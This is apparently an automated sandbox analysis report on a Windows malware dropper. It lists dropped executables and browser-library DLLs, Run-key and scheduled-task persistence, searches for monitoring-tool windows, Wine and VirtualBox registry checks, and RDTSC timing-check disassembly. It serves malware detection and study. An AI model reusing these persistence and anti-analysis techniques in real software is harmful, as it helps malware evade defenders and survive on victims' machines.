Code function: 25_2_0069D91C push ecx; ret

25_2_0069D92F

Source: file.exe	Static PE information: section name: vrtduuah entropy: 7.952627665229511
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.981276781459465
Source: random[1].exe.0.dr	Static PE information: section name: ahcdwdtv entropy: 7.954962113888939
Source: DocumentsIDHCGDAFBK.exe.0.dr	Static PE information: section name: entropy: 7.981276781459465
Source: DocumentsIDHCGDAFBK.exe.0.dr	Static PE information: section name: ahcdwdtv entropy: 7.954962113888939
Source: skotes.exe.22.dr	Static PE information: section name: entropy: 7.981276781459465
Source: skotes.exe.22.dr	Static PE information: section name: ahcdwdtv entropy: 7.954962113888939
Source: random[1].exe.25.dr	Static PE information: section name: entropy: 7.790279918625796
Source: 514a61fbeb.exe.25.dr	Static PE information: section name: entropy: 7.790279918625796
Source: random[1].exe0.25.dr	Static PE information: section name: dvdrndmu entropy: 7.955745145159139
Source: f979933b17.exe.25.dr	Static PE information: section name: dvdrndmu entropy: 7.955745145159139
Source: lll[1].exe.25.dr	Static PE information: section name: entropy: 7.975381065593622
Source: lll[1].exe.25.dr	Static PE information: section name: lbasanxu entropy: 7.954837652491249
Source: lll.exe.25.dr	Static PE information: section name: entropy: 7.975381065593622
Source: lll.exe.25.dr	Static PE information: section name: lbasanxu entropy: 7.954837652491249
Source: random[2].exe.25.dr	Static PE information: section name: entropy: 7.979839424384791
Source: random[2].exe.25.dr	Static PE information: section name: cmkobnzi entropy: 7.95412652248702
Source: 954f709e67.exe.25.dr	Static PE information: section name: entropy: 7.979839424384791
Source: 954f709e67.exe.25.dr	Static PE information: section name: cmkobnzi entropy: 7.95412652248702
Source: random[1].exe1.25.dr	Static PE information: section name: vrtduuah entropy: 7.952627665229511
Source: 97aac85e85.exe.25.dr	Static PE information: section name: vrtduuah entropy: 7.952627665229511

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIDHCGDAFBK.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008307001\514a61fbeb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\lll[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsIDHCGDAFBK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIDHCGDAFBK.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 97aac85e85.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 15a477ae94.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 954f709e67.exe

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIDHCGDAFBK.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsIDHCGDAFBK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 954f709e67.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 954f709e67.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 97aac85e85.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 97aac85e85.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 15a477ae94.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 15a477ae94.exe

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F2511 second address: 6F2542 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F3994C2A2E7h 0x0000000a jmp 00007F3994C2A2E3h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD6FA second address: 6FD709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F3994CD1DB6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FDB2C second address: 6FDB75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2DCh 0x00000007 jmp 00007F3994C2A2DBh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F3994C2A2DEh 0x00000014 pushad 0x00000015 popad 0x00000016 jnc 00007F3994C2A2D6h 0x0000001c popad 0x0000001d pushad 0x0000001e jbe 00007F3994C2A2D6h 0x00000024 jmp 00007F3994C2A2DDh 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70026A second address: 70026E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700345 second address: 700352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push edi 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700352 second address: 70035E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 mov eax, dword ptr [eax] 0x00000008 push ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70035E second address: 7003C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jmp 00007F3994C2A2DBh 0x00000011 pop eax 0x00000012 add dword ptr [ebp+122D1949h], edx 0x00000018 push 00000003h 0x0000001a mov ecx, dword ptr [ebp+122D2D24h] 0x00000020 push 00000000h 0x00000022 add ecx, 7670DC41h 0x00000028 push 00000003h 0x0000002a jne 00007F3994C2A2E9h 0x00000030 mov cl, al 0x00000032 push 8E096152h 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a jmp 00007F3994C2A2E2h 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7003C5 second address: 7003CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7003CA second address: 70041D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F3994C2A2D6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xor dword ptr [esp], 4E096152h 0x00000015 jo 00007F3994C2A2DBh 0x0000001b xor si, 4320h 0x00000020 jng 00007F3994C2A2DCh 0x00000026 mov dword ptr [ebp+122D3AF1h], edx 0x0000002c lea ebx, dword ptr [ebp+124440F7h] 0x00000032 mov esi, dword ptr [ebp+122D2C94h] 0x00000038 push eax 0x00000039 jl 00007F3994C2A2EFh 0x0000003f pushad 0x00000040 jmp 00007F3994C2A2E1h 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700454 second address: 700458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700458 second address: 70045E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700551 second address: 70055B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F3994CD1DB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70055B second address: 70055F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EBA4C second address: 6EBA61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jns 00007F3994CD1DB6h 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop ecx 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EBA61 second address: 6EBA6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3994C2A2D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71FE1C second address: 71FE2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F3994CD1DBAh 0x0000000c rdtsc
